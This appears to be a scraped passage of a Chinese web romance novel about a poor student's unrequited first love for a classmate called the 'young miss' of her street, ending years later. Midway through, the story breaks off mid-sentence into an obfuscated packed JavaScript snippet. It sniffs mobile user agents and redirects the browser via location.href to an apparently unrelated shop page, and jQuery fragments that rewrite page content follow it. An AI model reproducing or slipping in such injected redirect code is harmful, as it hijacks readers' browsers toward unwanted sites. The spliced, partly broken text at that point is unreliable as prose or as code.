“怎么先炽热的却先变冷了，慢热的却停不了，还在沸腾着。”
“慢冷的人啊，会自我折磨。”
“浪漫让你温柔，也让你最惹人泪流。”
“他变心变得很快，说爱经不起等待。”
——《慢冷》
早就听说清水街有个成绩超好的大小姐不好惹，听说她霸道、暴力、自私，是个女流氓。
那年头的混混是什么人？持刀抢劫、劫财劫色不在少数，杀马特造型和红绿灯发色更是他们的基本操作。
这样的人跟成绩好有什么关系？
他不以为意，直到被那三个染着红绿灯发色的混混堵在清水街的死胡同里。
魏之言心里发怵却不肯服软，他学过的散打第一次要派上用场，可看着黄毛掏出的折叠刀，还是忍不住攥紧了拳头。
就在刀锋快要逼近时，一道清冷的声音突然传来：“你们太吵了。”
魏之言回头，只见一个短发女生站在逆光处，黑色宽松T恤塞在牛仔短裤里，细瘦的腰杆挺得笔直。
那三个刚才还凶神恶煞的混混，看见她竟瞬间怂了，黄毛讪讪地收起刀，嘴里嘟囔着“误会”，转眼就溜得没影。
他还愣在原地，女生已经走到车旁，弯腰捡起散落的习题册。
他看清她手腕上有块兔子形状的胎记，也听清了混混们喊的名字：沈青水。
他想起她弯腰捡书时，短发滑落遮住半张脸，露出的下颌线很清晰。
想起她看着甜美，说话时却哑哑的声音。
想起她转身时，T恤后颈处印着的、快要磨掉的字母，那好像是个乐队的名字。
她……以为这是见义勇为吧，像她这样的女生应该不知道那些人是多么的危险。
沈青水……很好听的名字，青水，跟她人一样单纯。
魏之言忍不住想。
三个小混混早就没影了，巷子里又恢复了刚才的安静，只有魏之言的心跳还在胸腔里擂鼓。
他低头看着怀里的习题册，封面上貌似还留着她指尖的凉意。
刚才那一幕像场快进的电影。
她出现，解决麻烦，离开，前后不过两分钟，却让他觉得整个闷热的午后都亮了。
九月的漓乡一中还浸在军训余温里，魏之言作为新生代表攥着发言稿，刚要往主席台走，就被一道身影撞了满怀。
蹲下身捡稿子时，他对上一双清亮的眼睛——是清水街巷子里救过他的沈青水。
她穿黑T恤配校裤，手腕上的兔子胎记依旧清晰，见了他，嘴角立刻漾开笑意。
得知她因没穿校服要被赶回宿舍，魏之言下意识脱下自己的外套递过去，报出宿舍地址时，耳尖悄悄发烫。
开学典礼上，他发言时目光不自觉往最左边第三排扫，果然看到她裹着自己的外套，正认真听着。
第二天中午，沈青水准时站在A栋楼下，怀里的外套叠得整整齐齐，还带着淡淡的玫瑰香。
他递上草莓硬糖，两人在树荫下聊到广播催课，分开时，她的指尖碰到他的手，快得像一阵风。
周测后，班主任宣布他和沈青水并列年级第一，魏之言心里莫名雀跃。
每次在走廊撞见她，看她假装没看见却悄悄瞟来的样子，他都忍不住想笑。
放假那天，魏之言特意买了两个粉色冰淇淋，想在门口等她。
魏之言正想跟她说话，却见她转身朝自己笑了笑，随即快步离开。
他还没反应过来，就看到几个染着杀马特发型的少年骑着自行车过来，沈青水坐上后座，和领头的男生说着话，语气带着无奈。
看着他们远去的背影，魏之言手里的冰淇淋慢慢融化。
他想起传闻里“青水街大小姐”的标签，想起她巷口救人的利落、递书时的温柔、并列第一的优秀，心里五味杂陈。
原来她的“不好惹”藏着柔软，可那辆载着她远去的混混自行车，又让他生出莫名的担忧——
她的世界，比他想象的复杂得多，他竟有点怕，自己走不进她的生活里。
碰巧表妹余晓希找来漓中，他把另一个冰淇淋给了表妹。
魏之言到巷口店拿东西时，竟意外撞见了沈青水。
他问店老板东西走哪。
老板说：“在大小姐旁边。”
“大小姐？”
“哦哦你不知道，看到那个女孩子没有？她叫沈青水，是这一片的大小姐。”
其实他们之间有一道无法逾越的鸿沟的，他家境清寒，怎么配得上大小姐？
她扎着短发，嘴里叼着糖，正对着一盒巧克力蛋糕发呆，见了他，眼里先是闪过惊讶，随即漾开笑意。
得知她要搬母亲订的东西，他立刻主动提出帮忙，两人并肩走在傍晚的巷子里，风带着凉意，吹得她发梢轻晃。
他看出她眉宇间的低落，主动提起学习的事，教她背英语单词的方法。
聊到兴起时，他忍不住说出心底的期许：“沈青水，跟我一起去北京，考清华。”
他望着她，语气认真，“你数学那么好，未来一定很精彩。”
沈青水愣了愣，随即郑重点头，眼里亮得像盛了夕阳。
可没走多远，就听见沈青水母亲尖利的训斥声。
魏之言下意识将她往后拉，向阿姨解释是自己耽误了她，还提起她数学年级第一的事。
没想到阿姨却不以为意，反而让她多照顾弟弟。
他不动声色地拎起最重的袋子，帮着送到屋里，临走前，还特意安抚沈青水，说明早给她带英语单词书。
看起来，沈青水的母亲对她不好。
离开时，他回头望了一眼那间屋子，想起沈青水母亲对她的苛责，想起她接过酸奶时落寞的样子，心里泛起阵阵酸涩。
他没想到，看似“不好惹”的她，背后藏着这样的委屈。
回到家，魏之言满脑子都是沈青水点头说“好”的模样，还有她眼里对北京的向往。
他翻开单词本，忽然觉得“一起考清华”不再是单纯的目标，而是想带着她逃离困境的承诺。
他盼着能和她并肩站在清华园里，让她不用再受委屈，让她眼里的光永远明亮。
只是一想到她家里的情况，他又忍不住担忧，怕这份期许，终究难以实现。
深秋的漓乡一中透着寒意，魏之言总能在走廊瞥见沈青水的身影。
她要么抱着单词卡默念，要么往老师办公室跑，曾经张扬的短发被扎起，眼底满是追赶的韧劲。
他知道她英语偏科严重，却从没见过如此执拗的人，连吃饭时都在背单词，只为了那句“一起去北京”的约定。
9月28号生日那天，他在储物柜里发现一支崭新的钢笔，笔尖还带着淡淡的墨香，不用想就知道是她送的。
心里甜丝丝的，刷题时都忍不住频频侧目，却没敢主动提起，只在周测后悄悄在她的英语卷子上写下易错点批注。
可流言总像阴云般跟着她。
午休时，他听见女生们议论她“霸凌同学”“缠着自己”，他想说什么，转身班主任叫他把受伤的贾欣欣送回去。
他想拒绝，却被贾欣欣拉住，转头就瞥见不远处的沈青水，她的眼神瞬间黯淡，攥紧了拳头，转身就走。
后来听说沈青水跟贾欣欣决裂，学校里的谣言更甚，说她“脾气暴躁”。
魏之言心里又急又疼，他知道她不是那样的人，却不知该如何解释。
他想找她，可每次刚走到二班门口，又怕打扰她学习，更怕她还在介意那些流言。
后来培优班又遇见她，她喜欢发呆喜欢下五子棋。
他们做了同桌，可是自己竟有些害怕与沈青水相处。
于是每次课间他都会跑，跑去别的地方跟朋友打闹放松心情——其实就是逃离跟她单独相处。
后续11月，沈青水叫他送她回家，魏之言当然很愿意。
路上她倒着走，眼神亮晶晶的，他故意聊竞赛题、聊小河，掩饰心底的慌乱。
快到青水巷口时，他瞥见容霁捧着玫瑰走来，心脏骤然收紧——容霁要表白了。
他怕自己再多待一秒，会忍不住做些冲动的事，更怕沈青水为难，只能仓促找借口，甩开她的手转身就走。
刚走不远，就听见风里传来她带着哭腔的喊声，他脚步一顿，想回头，却看到身边的表妹伸手要糖。
他下意识递出常给沈青水的橘子硬糖，抬头时，正望见沈青水站在不远处。
沈青水看了他一眼就走了，似乎在确认他去哪？
冬雪覆盖漓乡时，魏之言和沈青水的培优班课堂只剩沉默。
他递去补全的竞赛笔记，她轻声拒绝，语气淡得像窗外的寒风，他攥着笔记本的手僵在半空，雪落在发梢，凉得像心底的失落。
他知道是自己那晚的仓促伤害了她。
跨年夜里，瞥见容霁捧着玫瑰走来，他怕她为难，更怕自己忍不住拆穿心意，只能仓皇逃离，却没料到会让她误会。
月考后，他故意在官网上传整理好的竞赛题库，盼着她能看见，盼着能有个重新说话的契机。
在图书馆讨论物理题时，他瞥见她靠窗的身影，故意提高音量讲解题思路，看着她笔尖微动，心里悄悄泛起暖意。
期末考试前，看到考场名单上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686451|188851||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两人的名字并列，魏之言莫名雀跃。
考试结束，她的笔滚到他脚边，弯腰去捡时，指尖不经意触碰，她像触电般缩回，那句酝酿已久的解释，终究还是没说出口。
看着她接过笔后低头沉默的模样，魏之言心里五味杂陈。
他知道那些错过的瞬间、没说清的误会，像冬雪般压在两人之间。
可他不敢再贸然靠近，怕再次伤害她，只能看着她的背影，默默期盼分班名单能给他们一个机会。
好景不长，母亲住院了。
为了照顾母亲魏之言只能转学。
可沈青水怎么办？那句藏了半年的喜欢，那声没说清的误会，还有“一起去北京”的约定，难道就要这样草草收场？
他攥着转学申请，在二班门口徘徊了三节课。
课间操的铃声响起，学生们涌着往外走，他终于看见沈青水和安茹佳并肩走来。
她的短发又长长了些，扎成小小的揪，阳光落在她脸上，亮得晃眼。
他刚想上前就听见沈青水和安茹佳的对话。
安茹佳问：“魏之言这次估计又是第一。”
沈青水回复：“别提他！我讨厌他！”
沈青水的声音不算大，却像一把淬了冰的匕首，精准地扎进魏之言的心脏。
他攥着转学申请的手指猛地收紧，指节泛白，连呼吸都瞬间滞涩。
他站在走廊柱子后，看着沈青水皱着眉，语气里满是嫌恶，仿佛“魏之言”这三个字都让她觉得膈应。
安茹佳还想再说些什么，却被她拉着快步走开，背影决绝，没有一丝留恋。
原来，她是真的讨厌他。
那……去北京的约定也不做数了吧。
魏之言没有再上前，只是默默转身，攥着那张皱巴巴的转学申请，一步步走出教学楼。
阳光刺眼，他却觉得浑身冰凉。
那个闷热午后巷口的初遇，那个并肩走在傍晚巷子里的约定，那个想带着她逃离困境的梦想，终究还是停在了这个初春，成了他青春里最遗憾的留白。
他没有回头，也没有告诉任何人他的离开。就像他悄悄靠近她、悄悄为她整理笔记、悄悄藏起喜欢一样，他也选择了悄悄离开。
把所有的误会和遗憾，都留在了漓乡一中的走廊里，留在了那个没说出口的告别里。
后来去了白湖，他又实在忍不住去找了几次沈青水。
一次在天桥。
明明已经做好了准备，可是看到她还是只能擦肩而过，没有上前的勇气。
于是又一次错过。
后来竞赛集训，地点在白湖。
机缘巧合之下，两人重逢。
他们没有提过去的一些摩擦和误会，而是一起努力，向着去北京的目标努力。
本来命运应该柳暗花明又一村，可是上天又给他开了一个玩笑——
母亲脑溢血。
那段时间魏之言特别烦，父亲的电话是打不通的，亲戚是远离的。
他放弃了去北京。
沈青水质问他为什么不跟自己走，他想说我很想跟你走啊，但是我走不了。
可是当沈青水问起表妹时，他最终还是说随她怎么想吧。
他们终究不是一路人，不是吗？
大小姐就应该是大小姐啊，怎么能跟他这种一穷二白的人过一辈子？
然后魏之言退学了，高中毕业证都没有拿到，就去打工了。
其实结局没有别人说的那么美满，他一天打三份工，基本上没有睡觉的时间，最终母亲还是去世了。
他靠着社会考生的身份去学了医，希望以后能救助更多的人。
其实当初没有时间在QQ跟那个神秘的联系人聊天，但是不知道为什么，他有一种预感，那个人很重要。
神秘联系人最后出国留学了，两人再也没有联系。
恰巧疫情肆虐，魏之言坐上了去武汉的列车。
在那里，他遇到了此生挚爱——苏菲。
苏菲是个活泼开朗的人，跟沈青水完全不一样。
他最后还是被苏菲的热情打动了。
疫情结束苏菲向他表白，他考虑许久，最后还是答应了。
因为他从沈望川那里得知，沈青水和骆饶去了国外。
国外啊，他可能这辈子都不会去的。
两人的身份差距越来越大，注定了这辈子都不可能的。
沈青水身边不缺优秀的男性，容霁、骆饶等等，不差他魏之言一个。
他觉得，算了吧，放下吧，别再执着了。
年少遇到过太惊艳的人，释怀这条路，他走了七年。